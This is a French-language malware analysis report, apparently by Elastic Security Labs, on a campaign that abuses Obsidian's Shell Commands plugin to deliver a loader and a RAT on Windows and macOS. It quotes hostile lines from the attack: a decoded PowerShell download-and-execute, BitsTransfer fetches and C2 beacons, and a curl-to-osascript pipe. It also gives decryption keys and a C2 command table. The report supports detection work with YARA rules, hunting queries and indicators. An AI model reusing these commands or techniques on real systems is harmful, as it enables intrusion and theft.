Une publication ultérieure fournira une analyse technique plus approfondie de PHANTOMPULSE lui-même, couvrant ses moteurs d'injection, les internes de persistance et le protocole C2 de manière plus détaillée.
Préambule
Elastic Security Labs a identifié une nouvelle campagne d'ingénierie sociale qui utilise l'application populaire de prise de notes, Obsidian, comme vecteur d'accès initial. La campagne, que nous suivons sous le nom de REF6598, cible des individus dans les secteurs de la finance et des crypto-monnaies par le biais d'une ingénierie sociale élaborée sur LinkedIn et Telegram. Les auteurs de la menace abusent de l'écosystème de plugins communautaires légitimes d'Obsidian, en particulier les plugins Shell Commands et Hider, pour exécuter silencieusement du code lorsqu'une victime ouvre un coffre-fort partagé dans le nuage.
Dans l'intrusion observée, Elastic Defend a détecté et bloqué l'attaque à un stade précoce, empêchant les acteurs de la menace d'atteindre leurs objectifs sur la machine de la victime.
La chaîne d'attaque est multiplateforme, avec des chemins d'exécution dédiés pour Windows et macOS. Sous Windows, un chargeur intermédiaire décrypte et charge par réflexion les charges utiles entièrement en mémoire en utilisant AES-256-CBC, l'exécution de callbacks en file d'attente et plusieurs techniques anti-analyse. La chaîne culmine avec le déploiement d'un RAT précédemment non documenté que nous appelons PHANTOMPULSE, une porte dérobée générée par l'IA et dotée de fonctionnalités complètes, avec une résolution C2 basée sur la blockchain, une injection de processus avancée via le piétinement de modules. Sur macOS, l'attaque déploie un dropper AppleScript obfusqué avec un mécanisme de résolution C2 de repli basé sur Telegram.
Ce billet détaillera la chaîne d'attaque complète, de l'ingénierie sociale à l'analyse de la charge utile finale, et fournira des conseils en matière de détection et des indicateurs de compromission.
Principaux points abordés dans cet article
- PHANTOMPULSE est un nouveau RAT Windows assisté par l'IA qui propose une résolution C2 basée sur la blockchain via les données de transaction Ethereum et des techniques d'injection distinctes.
- Nous avons identifié une faiblesse dans le mécanisme C2 qui permet une prise de contrôle des implants par les intervenants.
- Obsidian a fait l'objet d'une attaque d'ingénierie sociale lors de l'accès initial
- Chaîne d'attaques multiplateformes ciblant à la fois Windows et macOS
- La charge utile macOS utilise un dropper AppleScript en plusieurs étapes avec un dead-drop Telegram pour la résolution C2 de secours.
- PHANTOMPULL est un chargeur en mémoire personnalisé qui délivre PHANTOMPULSE
Aperçu de la campagne
Les acteurs de la menace opèrent sous l'apparence d'une société de capital-risque et prennent contact avec les cibles par l'intermédiaire de LinkedIn. Après l'engagement initial, la conversation se déplace vers un groupe Telegram où plusieurs prétendus partenaires participent, ce qui donne de la crédibilité à l'interaction. La discussion est centrée sur les services financiers, en particulier sur les solutions de liquidité en crypto-monnaie, ce qui crée un contexte commercial plausible.
Il est demandé à la cible d'utiliser Obsidian, présentée comme la base de données de gestion "de l'entreprise", pour accéder à un tableau de bord partagé. La cible reçoit des informations d'identification pour se connecter à un coffre-fort hébergé dans le nuage et contrôlé par l'attaquant.
Cette voûte est le vecteur d'accès initial. Une fois ouverte dans Obsidian, la cible est invitée à activer la synchronisation des plugins de la communauté. Ensuite, les plugins trojanisés exécutent silencieusement la chaîne d'attaque.
Accès initial
Une alerte comportementale Elastic Defend s'est déclenchée en cas d'exécution suspecte de PowerShell avec Obsidian comme processus parent. Cela a immédiatement attiré notre attention. Dans un premier temps, nous avons soupçonné un binaire non fiable se faisant passer pour Obsidian. Cependant, après avoir inspecté la signature et le hachage du code du processus parent, il est apparu qu'il s'agissait du binaire légitime d'Obsidian.
En pivotant sur la pile d'appels d'événements du processus pour déterminer si un chargement latéral de DLL tierce ou une région de mémoire non sauvegardée était impliqué, nous avons confirmé que la création du processus provenait directement d'Obsidian lui-même.
Nous avons ensuite examiné les fichiers environnants à la recherche de signes d'injection de JavaScript via la modification de fichiers de dépendance ou de fichiers .asar malveillants. planter des arbres. Tout semble être une installation propre et légitime d'Obsidian, sans code tiers. Nous avons alors décidé d'installer nous-mêmes Obsidian et d'explorer les options qu'un attaquant pourrait utiliser pour exécuter des commandes.
La première chose qui m'a frappé est la possibilité de se connecter à un coffre-fort synchronisé avec Obsidian à l'aide d'un e-mail et d'un mot de passe.
La fonction de synchronisation du coffre-fort d'Obsidian permet de synchroniser les notes et les fichiers entre les appareils et les plates-formes. Lors de l'examen des fichiers du coffre-fort distant malveillant sous le nom .obsidian config, nous avons trouvé des preuves de l'installation du plugin communautaire Shell Commands :
C:\Users\user\Documents\<redacted_vault_name>\.obsidian\plugins\obsidian-shellcommands\data.json
Le plugin Shell Commands permet aux utilisateurs d'exécuter des commandes shell spécifiques à la plate-forme en fonction de déclencheurs configurables tels que le démarrage d'Obsidian, la fermeture, toutes les N secondes, etc.
Le contenu du fichier data.json confirme notre théorie : les commandes configurées correspondent exactement à ce que nous avions observé dans l'alerte comportementale PowerShell originale.
Pour valider la chaîne d'attaque complète, nous avons tenté de reproduire le comportement de bout en bout sur deux machines, un hôte et une VM utilisant une licence Obsidian Sync payante. Sur l'hôte, nous avons installé le plugin communautaire Shell Commands avec une commande personnalisée configurée pour créer notepad.exe au démarrage. Sur la VM, nous nous sommes connectés au même compte Obsidian et nous nous sommes connectés au coffre-fort distant.
L'espace de stockage synchronisé sur la VM a reçu les fichiers de configuration de base (app.json, appearance.json, core-plugins.json, workspace.json), mais notamment le répertoire plugins/ et community-plugins.json étaient totalement absents. En effet, les paramètres de synchronisation d'Obsidian présentent deux options distinctes : "Active community plugin list" et "Installed community plugins". Ces deux options sont désactivées par défaut et constituent des préférences locales côté client qui ne se propagent pas par le biais de la synchronisation.
Comme indiqué ci-dessous, les manifestes plugins et community_plugins ne sont pas synchronisés automatiquement (tout fichier à l'intérieur du fichier .obsidian ).
Cependant, une fois activé, le plugin Shell Commands déclenche immédiatement l'exécution de commandes définies par l'attaquant à l'ouverture du coffre-fort :
Cela signifie qu'un attaquant ne peut pas forcer à distance l'installation ou l'activation d'un plugin communautaire par la seule synchronisation des coffres-forts. La victime doit activer manuellement la synchronisation du plugin communautaire sur son appareil avant que la configuration du plugin ne s'installe et ne déclenche l'exécution.
Dans le cas que nous avons examiné, l'attaquant a fourni les informations d'identification du compte Obsidian directement à la victime dans le cadre d'un leurre d'ingénierie sociale, lui demandant probablement de se connecter, d'activer la synchronisation du plugin de la communauté et de se connecter au coffre-fort préétabli. Une fois ces étapes terminées, le plugin Shell Commands et sa configuration data.json se sont synchronisés automatiquement et, lors du prochain déclenchement configuré, la charge utile s'est exécutée sans autre interaction.
Bien que cette attaque nécessite une ingénierie sociale pour franchir la limite de synchronisation du plugin de la communauté, la technique reste remarquable : elle abuse d'une fonction d'application légitime comme canal de persistance et d'exécution de commande, la charge utile se trouve entièrement dans des fichiers de configuration JSON qui ont peu de chances de déclencher des signatures AV traditionnelles, et l'exécution est confiée à une application Electron signée et de confiance, ce qui fait de la détection basée sur le processus parent la couche critique.
Outre le plugin Shell Commands, l'auteur a utilisé Hider (v1.6.1), un plugin de nettoyage de l'interface utilisateur qui masque les éléments de l'interface. Lorsque toutes les options de dissimulation sont activées, la configuration est la suivante :
{
"hideStatus": true,
"hideTabs": true,
"hideScroll": true,
"hideSidebarButtons": true,
"hideTooltips": true,
"hideFileNavButtons": true,
}
Chaîne d'exécution Windows
Étape 1
La commande Windows du plugin Shell Commands contient deux appels à Invoke-Expression avec des chaînes encodées en Base64 qui se décodent comme suit :
iwr http://195.3.222[.]251/script1.ps1 -OutFile env:TEMP\tt.ps1 -UseBasicParsing powershell.exe -ExecutionPolicy Bypass -WindowStyle Hidden -File "env:TEMP\tt.ps1"
Cela permet de télécharger un script PowerShell de deuxième niveau à partir d'une adresse IP codée en dur et de l'exécuter.
Étape 2
Le script PowerShell téléchargé (script1.ps1) met en œuvre un mécanisme de livraison de chargeur avec un système intégré de notification à l'opérateur. Le script utilise BitsTransfer pour télécharger le binaire de l'étape suivante et signale sa progression au C2.
Import-Module BitsTransfer
Start-BitsTransfer -Source 'http://195.3.222[.]251/syncobs.exe?q=%23OBSIDIAN' `
-Destination "$env:TEMP\syncobs.exe"
Après le téléchargement, le script vérifie l'existence du fichier et communique le résultat au C2 à l'adresse 195.3.222[.]251/stuk-phase. Il semble que les caractères (G, R) aient été ajoutés au message d'état, déclarant GREEN ou RED comme code couleur d'état. Vous trouverez ci-dessous un tableau de tous les messages d'état :
| Message d'état | Signification |
|---|---|
GFILE FOUND ON PC | Binaire téléchargé avec succès |
RDOWNLOAD ERROR | Le téléchargement a échoué, réessayez |
RFATAL DOWNLOAD ERROR | Le téléchargement a échoué après une nouvelle tentative |
GLAUNCH SUCCESS | Exécution d'un binaire et détection de processus enfants |
RLAUNCH FAILED | Le binaire n'a pas démarré dans le délai imparti |
GSESSION CLOSED | Séquence d'exécution terminée |
Le paramètre tag (Obsidian) envoyé avec chaque mise à jour d'état identifie la campagne ou le vecteur d'infection, ce qui suggère que les opérateurs pourraient mener plusieurs campagnes simultanées.
if ($started) {
Invoke-RestMethod -Uri "http://195.3.222[.]251/stuk-phase" -Method Post -Body @{ message = "GLAUNCH SUCCESS"; tag = $tag }
} else {
Invoke-RestMethod -Uri "http://195.3.222[.]251/stuk-phase" -Method Post -Body @{ message = "RLAUNCH FAILED"; tag = $tag }
}
Start-Sleep -Seconds 3
Invoke-RestMethod -Uri "http://195.3.222[.]251/stuk-phase" -Method Post -Body @{ message = "GSESSION CLOSED"; tag = $tag }
Chargeur - PHANTOMPULL
Ce chargeur est un exécutable PE Windows 64 bits qui extrait de ses propres ressources une charge utile PE chiffrée en AES-256-CBC, la déchiffre et la charge par réflexion dans la mémoire. Cette charge utile en mémoire télécharge ensuite l'étape suivante à partir du domaine (panel.fefea22134[.]net) via HTTPS.
La charge utile du troisième étage (PHANTOMPULSE) est ensuite décryptée et chargée par réflexion via DllRegisterServer. Ce chargeur, que nous appelons PHANTOMPULL, comprend la résolution d'API en cours d'exécution et une exécution basée sur une file d'attente. Cet échantillon comprend des formes mineures d'évasion/obfuscation, ainsi que du code mort ; ces techniques sont utilisées comme une astuce anti-analyse pour faire perdre du temps à l'analyste lors de l'examen du logiciel malveillant.
Flux d'exécution
Étape 1
Étape 2
Faux contrôle d'intégrité
Le chargeur commence par un démarrage étrange en utilisant une protection contre les codes morts qui compare GetTickCount() à la valeur hexadécimale (0xFFFFFFFE) - une valeur qui correspond à environ 49,7 jours de temps de fonctionnement continu du système, ce qui rend la condition virtuellement inaccessible. Le bloc protégé contient des fonctions anti-fraude convaincantes mais inaccessibles, conçues pour faire perdre du temps aux analystes lors de la rétro-ingénierie.
La fonction anti_tamper_integrity_checksum() est également assez étrange ; elle n'effectue pas de hachage des octets sous-jacents, mais additionne toutes les adresses de fonctions dans le fichier binaire. La somme de contrôle n'est jamais comparée à quoi que ce soit ; il s'agit probablement d'une technique anti-analyse visant à faire perdre du temps aux analystes et à gonfler le binaire.
Hachage de l'API
Ce chargeur résout les fonctions de l'API de manière dynamique au moment de l'exécution en utilisant l'algorithme de hachage djb2 avec la graine 0x4E67C6A7. Les API suivantes ont été résolues :
VirtualAllocVirtualProtectVirtualFreeLoadLibraryAGetProcessAddress
Extraction de ressources + décryptage
PHANTOMPULL stocke sa charge utile chiffrée en mémoire dans ses propres ressources.
Afin d'extraire les octets, il utilise FindResourceA, en localisant le type de ressource (RT_RCDATA) sous l'ID (101). La ressource est mise en correspondance avec la mémoire et copiée dans une région marquée par les autorisations PAGE_READWRITE.
Ensuite, le chargeur effectue un décryptage AES-256-CBC à l'aide de BCryptOpenAlgorithmProvider. La clé est codée en dur dans la section .rdata
Clé : 6a85736b64761a8b2aaeadc1c0087e1897d16cc5a9d49c6a6ea1164233bad206
L'IV est également codé en dur sur la pile : A6FA4ADFC20E8E6B77E2DD631DC8FF18
Après le décryptage, le chargeur vérifie que la sortie est un PE valide en contrôlant la valeur magique de l'en-tête MZ à l'aide d'une instruction de comparaison utilisant une valeur codée en dur (0x0C1DF) qui est mise en XOR avec (0x9B92), ce qui équivaut à l'en-tête magique PE (0x5a4d). Il s'agit d'un exemple de certains efforts d'obscurcissement légers qui semblent souvent maladroits et ne s'intègrent pas.
Exécution
Plutôt que d'appeler directement la charge utile (ce qui est facilement détecté par les bacs à sable), le chargeur utilise une file d'attente de temporisation. Le délai de 50 ms et l'exécution séparée peuvent échapper à divers outils de sécurité/sandbox.
Le rappel contient la fonctionnalité de chargement réfléchi du PE, qui est ensuite utilisée pour exécuter l'étape suivante.
Cette fonction de chargement réfléchi est l'élément central de l'exécution. Il copie les en-têtes du PE, mappe chaque section en mémoire, applique les relocalisations de base, résout les importations et définit les protections finales de la section - produisant ainsi un PE entièrement fonctionnel, résidant en mémoire et n'entrant jamais en contact avec le disque.
L'exécution est ensuite transférée à la deuxième étape par le biais d'une instruction indirecte call rbp, où RBP contient l'adresse du point d'entrée calculée du PE chargé par réflexion.
Deuxième étape
La deuxième étape est chargée de télécharger la charge utile hébergée à distance (PHANTOMPULSE) et d'utiliser une technique similaire de chargement par réflexion pour lancer l'implant. Cette étape commence par la création d'un mutex à partir d'une opération XOR avec deux variables globales codées en dur.
Le nom du mutex pour cet échantillon est : hVNBUORXNiFLhYYh
Une fois le mutex créé, ce code entre dans une boucle persistante qui tente de télécharger la charge utile à partir du serveur C2. Si le téléchargement renvoie avec succès un tampon valide, il s'interrompt et passe à l'étape du chargement réfléchi.
En cas d'échec, le code utilise un backoff exponentiel - en commençant par une mise en veille de 5 secondes et en multipliant par 1,5x à chaque nouvelle tentative, pour atteindre un maximum d'un peu moins de 5 minutes. Cela permet d'éviter un intervalle de balise fixe qui serait trivialement pris en compte dans le trafic du réseau.
La fonctionnalité de téléchargement commence par décrypter le C2 et l'URL.
Le C2 et l'URL sont tous deux décryptés à l'aide d'une simple fonction de décryptage de chaîne utilisant une clé rotative de 16 octets (f77c8e40dfc17be5e74d8679d5b35341).
Ensuite, le logiciel malveillant élabore la demande HTTPS, en ajoutant la chaîne à l'aide de l'URI /v1/updates/check?build=payloads et en définissant l'agent utilisateur (Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36). Ce chargeur utilise la bibliothèque WinHTTP pour se connecter au C2 sur le port 443.
Le logiciel malveillant prend la mémoire tampon de l'URL C2 distante et décrypte la charge utile avec une clé XOR de 16 octets (dcf5a9b27cbeedb769ccc8635d204af9).
Vous trouverez ci-dessous les premiers octets de la charge utile codée par XOR :
Vous trouverez ci-dessous les premiers octets après l'opération XOR :
Après le téléchargement et les opérations XOR, PHANTOMPULL analyse la charge utile et reflète la DLL à l'aide de DLLRegisterServer.
En vérifiant rapidement les chaînes, nous pouvons voir la porte dérobée principale, PHANTOMPULSE :
RAT - PHANTOMPULSE
PHANTOMPULSE est un RAT Windows 64 bits sophistiqué conçu pour la furtivité, la résilience et l'accès à distance complet. Le code binaire présente des signes évidents d'un développement assisté par l'IA : Les chaînes de débogage du code sont anormalement verbeuses, auto-documentées et suivent un modèle structuré de numérotation des étapes ([STEP 1], [STEP 1/3], [STEP 2/3]).
Au cours de nos recherches, nous avons découvert que l'infrastructure C2 disposait d'un panneau exposé publiquement sous le nom de “Phantom Panel", comportant une page de connexion avec un nom d'utilisateur, un mot de passe et des champs captcha. La conception et la structure du panneau suggèrent qu'il a également été généré par l'IA, ce qui est cohérent avec les modèles de développement observés dans le RAT lui-même.
Rotation du C2 par le biais de la blockchain
PHANTOMPULSE met en œuvre un mécanisme décentralisé de résolution des C2 en utilisant l'infrastructure blockchain publique comme point mort. La principale méthode utilisée par le logiciel malveillant pour obtenir son URL C2 consiste à la résoudre à partir des données de transaction de la chaîne. Une URL C2 codée en dur sert de solution de repli si la résolution de la blockchain échoue après plusieurs tentatives.
Le logiciel malveillant interroge l'API compatible Etherscan (/api?module=account&action=txlist&address=<wallet>&page=1&offset=1&sort=desc) sur trois instances Blockscout :
eth.blockscout[.]com(Ethereum L1)base.blockscout[.]com(Base L2)optimism.blockscout[.]com(Optimisme L2)
Chaque requête extrait la transaction la plus récente associée à une adresse de portefeuille codée en dur (0xc117688c530b660e15085bF3A2B664117d8672aA), qui est elle-même cryptée par XOR dans le code binaire. Le logiciel malveillant analyse le champ de données input de la transaction dans la réponse JSON, supprime le préfixe 0x, décode les octets bruts en hexadécimal et décrypte le résultat par XOR en utilisant l'adresse du portefeuille comme clé XOR. Si la sortie décryptée commence par http, elle est acceptée comme nouvelle URL C2 active.
Cette technique offre à l'opérateur une capacité de rotation indépendante de l'infrastructure : pour publier un nouveau point final C2, il suffit de soumettre une transaction avec des données d'appel élaborées au portefeuille sur l'une des trois chaînes surveillées. Les transactions de la blockchain étant immuables et accessibles au public, le logiciel malveillant peut toujours localiser son C2 sans dépendre d'une infrastructure centralisée. L'utilisation de trois chaînes indépendantes ajoute de la redondance : même si l'explorateur d'une chaîne est bloqué ou indisponible, les deux autres fournissent des voies de résolution alternatives.
Toutefois, cette conception présente une faiblesse importante. L'API Blockscout renvoie toutes les transactions impliquant l'adresse du portefeuille, à la fois envoyées et reçues, classées par ordre chronologique inverse. Le logiciel malveillant ne vérifie pas l'expéditeur de la transaction. Cela signifie que tout tiers connaissant l'adresse du portefeuille et la clé XOR (toutes deux récupérables à partir du code binaire) peut créer une transaction vers le portefeuille contenant une charge utile concurrente. Comme le logiciel malveillant sélectionne toujours la transaction la plus récente, une seule transaction entrante avec un horodatage plus récent annulerait l'URL C2 prévue par l'opérateur. Dans la pratique, cela permet à n'importe qui de détourner la résolution C2 en soumettant une URL d'évasion codée avec le même schéma XOR, redirigeant effectivement tous les hôtes infectés loin de l'infrastructure de l'attaquant.
Communication C2
PHANTOMPULSE utilise WinHTTP pour la communication C2, en chargeant dynamiquement winhttp.dll et en résolvant toutes les fonctions requises au moment de l'exécution. L'infrastructure C2 s'articule autour de cinq points de terminaison API :
| Endpoint | Method | Finalité |
|---|---|---|
/v1/telemetry/report | POST | Rythme cardiaque avec télémétrie du système |
/v1/telemetry/tasks/<id> | GET | Recherche de commandes |
/v1/telemetry/upload/ | POST | Capture d'écran/téléchargement de fichier |
/v1/telemetry/result | POST | Commande livraison du résultat |
/v1/telemetry/keylog/ | POST | Téléchargement des données du journal de bord |
Le heartbeat envoie des données télémétriques complètes sous forme de JSON, notamment le modèle de CPU, le GPU, la RAM, la version du système d'exploitation, le nom d'utilisateur, le niveau de privilège, l'adresse IP publique, les produits AV installés, les applications installées et les résultats de l'exécution de la dernière commande.
Command table
Le répartiteur de commandes analyse les réponses JSON du C2 pour extraire et hacher les commandes à l'aide de l'algorithme djb2. Ce hachage est traité par une instruction switch-case pour exécuter la logique correspondante, comme le montre le pseudocode ci-dessous :
| Hachures | Commandement | Action |
|---|---|---|
0x04CF1142 | inject | Injecter un shellcode/DLL/EXE dans le processus cible |
0x7C95D91A | drop | Déposez le fichier sur le disque et exécutez |
0x9A37F083 | screenshot | Capturez et téléchargez une capture d'écran |
0x08DEDEF0 | keylog | Démarrer/arrêter le keylogger |
0x4EE251FF | uninstall | Suppression et nettoyage complets de la persistance |
0x65CCC50B | elevate | Escalade vers SYSTEM via le moniker d'élévation COM |
0xB3B5B880 | downgrade | SYSTEM -> transition administrateur élevé |
0x20CE3BC8 | <unresolved> | Résout les API, appelle l'auto-termination ExitProcess(0) |
Chaîne d'exécution de MacOS
Étape 1 : AppleScript via osascript
La commande macOS du plugin Shell commands exécute une charge utile codée en Base64 via osascript.
La charge utile décodée effectue deux actions principales :
Persistance de LaunchAgent: Crée une plist persistante LaunchAgent à l'adresse ~/Library/LaunchAgents/com.vfrfeufhtjpwgray.plist configurée avec KeepAlive et RunAtLoad configurée avec true, garantissant que la charge utile de deuxième étape s'exécute à chaque connexion et redémarre si elle est interrompue.
Exécution de la deuxième étape: L'agent de lancement exécute un dropper AppleScript fortement obfusqué par l'intermédiaire de /bin/bash -c qui est acheminé vers osascript.
Étape 2 : Dropper AppleScript obfusqué
La charge utile de deuxième étape est un dropper AppleScript obscurci qui utilise plusieurs techniques d'évasion.
Obfuscation des chaînes: Toutes les chaînes sensibles (domaines, URL, valeurs de l'agent utilisateur) sont construites au moment de l'exécution à l'aide des appels ASCII character, character id et string id, ce qui empêche l'extraction statique des chaînes :
property __tOlA5QTO5I : {(string id {48, 120, 54, 54, 54, 46, 105, 110, 102, 111})}
-- Decodes to: "0x666.info"
Variables leurres: De nombreuses variables inutilisées avec des noms et des valeurs aléatoires sont définies pour augmenter l'entropie et entraver l'analyse.
Concaténation fragmentée: Les chaînes de caractères sont réparties entre plusieurs méthodes d'encodage, combinant des fragments littéraux avec des recherches d'identifiants de caractères pour éviter la recherche de motifs.
Résolution C2 avec Telegram fallback
Le compte-gouttes met en œuvre une stratégie de résolution C2 à plusieurs niveaux :
- Primaire: parcourt une liste de domaines codée en dur (y compris
0x666[.]info), en envoyant une requête POST avec le corps"check"pour valider la disponibilité de C2. - Fallback (repli): Si le domaine principal est inaccessible, il récupère un canal Telegram public (
t[.]me/ax03bot) pour extraire un domaine de secours.
Cette technique de "dead-drop" de Telegram permet aux opérateurs de faire tourner l'infrastructure C2, ce qui rend le blocage par domaine insuffisant en tant que seule mesure d'atténuation.
Récupération de la charge utile
Une fois le C2 résolu, le script télécharge et achemine une charge utile de deuxième niveau directement sur osascript:
curl -s --connect-timeout 5 --max-time 10 --retry 3 --retry-delay 2 -X POST <C2_URL> \
-H "User-Agent: <spoofed Chrome UA>"-d "txid=346272f0582541ae5dd08429bb4dc4ff&bmodule"| osascript
L'identifiant de la victime (txid) et le sélecteur de module (bmodule) sont envoyés en tant que paramètres POST. La réponse est censée être une autre charge utile AppleScript exécutée immédiatement. Au moment de l'analyse, les serveurs C2 de la chaîne macOS étaient hors ligne, ce qui a empêché la collecte des étapes suivantes.
Analyse de l'infrastructure
Activité du portefeuille
L'examen de l'activité sur la chaîne pour le portefeuille codé en dur (0xc117688c530b660e15085bF3A2B664117d8672aA) révèle l'historique de rotation C2 de l'opérateur. Les deux transactions les plus récentes sont des auto-transferts (portefeuille vers lui-même), chacune codant une URL C2 différente dans les données d'entrée de la transaction :
| Date (UTC) | URL C2 décodée |
|---|---|
Feb 19, 2026 12:29:47 | https://panel.fefea22134[.]net |
Feb 12, 2026 22:01:59 | https://thoroughly-publisher-troy-clara[.]trycloudflare[.]com |
L'utilisation d'un domaine de tunnel Cloudflare (trycloudflare[.]com) comme point de terminaison C2 préalable est remarquable, car elle permet à l'opérateur d'exposer un serveur local via l'infrastructure de Cloudflare sans enregistrer de domaine, ce qui fournit une couche supplémentaire d'anonymat.
Le portefeuille a été initialement alimenté le février 12, 2026, à 21:39:47 UTC par un compte séparé (0x38796B8479fDAE0A72e5E7e326c87a637D0Cbc0E) avec un transfert de 5,84 $ et un champ de saisie vide (0x), confirmant qu'il s'agissait uniquement d'une transaction de financement. Le portefeuille de financement lui-même a effectué environ 50 transactions au cours des trois derniers mois, ce qui constitue un point pivot potentiel pour découvrir d'autres campagnes menées par le même acteur de la menace.
Serveur de stockage des charges utiles
Le serveur de livraison de la charge utile initiale à 195.3.222[.]251 est hébergé sur AS 201814 (MEVSPACE sp. z o.o.), un fournisseur d'hébergement polonais.
Panneau PhantomPulse C2
Le domaine fefea22134[.]net se résout en IP de Cloudflare (104.21.79[.]142 et 172.67.146[.]15), ce qui indique que le panneau C2 se trouve derrière le proxy de Cloudflare. L'historique du DNS passif montre que le domaine a été résolu pour la première fois le 2026-03-12, avec des résolutions antérieures pointant vers différentes IP (188.114.97[.]1 et 188.114.96[.]1) le 2026-03-20.
Le domaine utilise un certificat Let's Encrypt observé pour la première fois le 2026-03-12 :
- En série:
5130b76e63cd41f11e6b7c2a77f203f72b4 - Empreinte du pouce:
6c0a1da746438d68f6c4ffbf9a10e873f3cf0499 - Validité:
2026-02-19 to 2026-05-20
La date d'émission du certificat (19 février) correspond au codage de la transaction de rotation C2 la plus récente de la blockchain ( panel.fefea22134[.]net), ce qui suggère que l'infrastructure a été approvisionnée le jour même où l'URL C2 a été publiée sur la chaîne.
Conclusion
REF6598 montre comment les acteurs de la menace continuent à trouver des vecteurs d'accès initiaux créatifs en abusant des applications de confiance et en employant l'ingénierie sociale ciblée. En abusant de l'écosystème communautaire de plugins d'Obsidian plutôt que d'exploiter une vulnérabilité logicielle, les attaquants contournent entièrement les contrôles de sécurité traditionnels, en s'appuyant sur la fonctionnalité prévue de l'application pour exécuter un code arbitraire.
Dans l'intrusion observée, Elastic Defend a détecté et bloqué la chaîne d'attaque à un stade précoce avant que PHANTOMPULSE ne puisse s'exécuter, empêchant ainsi l'acteur de la menace d'atteindre ses objectifs. Les protections comportementales se sont déclenchées lors de l'exécution d'un processus anormal provenant d'Obsidian, ce qui a permis de stopper net la livraison de la charge utile.
Les organisations des secteurs de la finance et des crypto-monnaies doivent savoir que des outils de productivité légitimes peuvent être transformés en vecteurs d'attaque. Les défenseurs doivent surveiller la création anormale de processus enfants à partir d'applications comme Obsidian et appliquer des politiques de plugins au niveau de l'application lorsque cela est possible. Les indicateurs et la logique de détection fournis dans cette recherche peuvent être utilisés pour identifier et répondre à cette activité.
Elastic Security Labs continuera à surveiller REF6598 pour détecter d'autres développements, y compris d'autres charges utiles macOS une fois que l'infrastructure C2 associée sera active.
MITRE ATT&CK
Elastic utilise le cadre MITRE ATT& CK pour documenter les tactiques, techniques et procédures communes que les menaces persistantes avancées utilisent contre les réseaux d'entreprise.
Tactiques
Les tactiques représentent le pourquoi d'une technique ou d'une sous-technique. Il s'agit de l'objectif tactique de l'adversaire : la raison pour laquelle il effectue une action.
- Accès initial
- Exécution
- Persistance
- Escalade des privilèges
- Évasion par la défense
- Collecte
- Découverte
- Commande et contrôle
Techniques
Les techniques représentent la manière dont un adversaire atteint un objectif tactique en effectuant une action.
- Phishing : Spearphishing par le biais d'un service
- User Execution: Malicious File
- Interprète de commandes et de scripts : PowerShell
- Interprète de commandes et de scripts : AppleScript
- Deobfuscate/Decode Files or Information
- Chargement du code réfléchissant
- Évasion par virtualisation/boîte à sable : Evasion basée sur le temps
- Injection de processus
- Tâche programmée/Job : Tâche programmée
- Exécution du démarrage automatique au démarrage ou à l'ouverture de session : Modification de la Plist
- Capture d'entrée : Enregistrement du clavier
- Capture d'écran
- Recherche d'informations sur le système
- Abuser du mécanisme de contrôle d'élévation : Contournement de l'UAC
Détection de REF6598
Détection
Les règles de détection et les événements de prévention du comportement suivants ont été observés tout au long de l'analyse de cet ensemble d'intrusions :
La prévention
- Suspicious PowerShell Execution (Exécution suspecte de PowerShell)
- Module réseau chargé à partir d'une mémoire non sauvegardée suspecte
- Exécution de chaînes codées en Base64 via Osascript
Chasser les requêtes dans Elastic
Ces requêtes de chasse sont utilisées pour identifier la présence du plugin de commande shell de la communauté Obsidian ainsi que l'exécution de la commande qui en résulte :
KQL
event.category : file and process.name : (Obsidian or Obsidian.exe) and
file.path : *obsidian-shellcommands*
event.category : process and event.type : start and
process.name : (sh or bash or zsh or powershell.exe or cmd.exe) and
process.parent.name : (Obsidian.exe or Obsidian)
YARA
Elastic Security a créé des règles YARA pour identifier cette activité. Vous trouverez ci-dessous les règles de YARA permettant d'identifier le PHANTOMPULL et le PHANTOMPULSE.
rule Windows_Trojan_PhantomPull {
meta:
author = "Elastic Security"
os = "Windows"
category_type = "Trojan"
family = "PhantomPull"
threat_name = "Windows.Trojan.PhantomPull"
reference_sample = "70bbb38b70fd836d66e8166ec27be9aa8535b3876596fc80c45e3de4ce327980"
strings:
$GetTickCount = { 48 83 C4 80 FF 15 ?? ?? ?? ?? 83 F8 FE 75 }
$djb2 = { 45 8B 0C 83 41 BA A7 C6 67 4E 49 01 C9 45 8A 01 }
$mutex = { 48 89 EB 83 E3 ?? 45 8A 2C 1C 45 32 2C 2E 45 0F B6 FD }
$str_decrypt = { 39 C2 7E ?? 49 89 C1 41 83 E1 ?? 47 8A 1C 0A 44 32 1C 01 45 88 1C 00 48 FF C0 }
$payload_decrypt = { 4C 89 C8 83 E0 0F 41 8A 14 02 43 30 14 0F 49 FF C1 44 39 CB }
$url = "/v1/updates/check?build=payloads" ascii fullword
condition:
3 of them
}
rule Windows_Trojan_PhantomPulse {
meta:
author = "Elastic Security"
os = "Windows"
category_type = "Trojan"
family = "PhantomPulse"
threat_name = "Windows.Trojan.PhantomPulse"
reference_sample = "9e3890d43366faec26523edaf91712640056ea2481cdefe2f5dfa6b2b642085d"
strings:
$a = "[UNINSTALL 2/6] Removing Scheduled Task..." fullword
$b = "PhantomInject: host PID=%lu" fullword
$c = "inject: shellcode detected -> InjectShellcodePhantom" fullword
$d = "inject: shellcode detected, using phantom section hijack" fullword
condition:
all of them
}
Observations
Les observables suivants ont été examinés dans le cadre de cette recherche.
| Observable | Type | Nom | Référence |
|---|---|---|---|
70bbb38b70fd836d66e8166ec27be9aa8535b3876596fc80c45e3de4ce327980 | SHA-256 | syncobs.exe | Chargeur PHANTOMPULL |
33dacf9f854f636216e5062ca252df8e5bed652efd78b86512f5b868b11ee70f | SHA-256 | PhantomPulse RAT (charge utile finale) | |
195.3.222[.]251 | ipv4-addr | Serveur d'essai (script PowerShell & livraison du chargeur) | |
panel.fefea22134[.]net | nom de domaine | Panneau PhantomPulse C2 | |
0x666[.]info | nom de domaine | macOS dropper C2 domain | |
t[.]me/ax03bot | Url | Dropper macOS Telegram fallback C2 | |
0xc117688c530b660e15085bF3A2B664117d8672aA | porte-monnaie électronique | Portefeuille Ethereum pour la résolution de la blockchain C2 | |
0x38796B8479fDAE0A72e5E7e326c87a637D0Cbc0E | porte-monnaie électronique | Portefeuille de financement pour le portefeuille de résolution C2 | |
thoroughly-publisher-troy-clara[.]trycloudflare[.]com | nom de domaine | Prior PhantomPulse C2 (Tunnel Cloudflare) |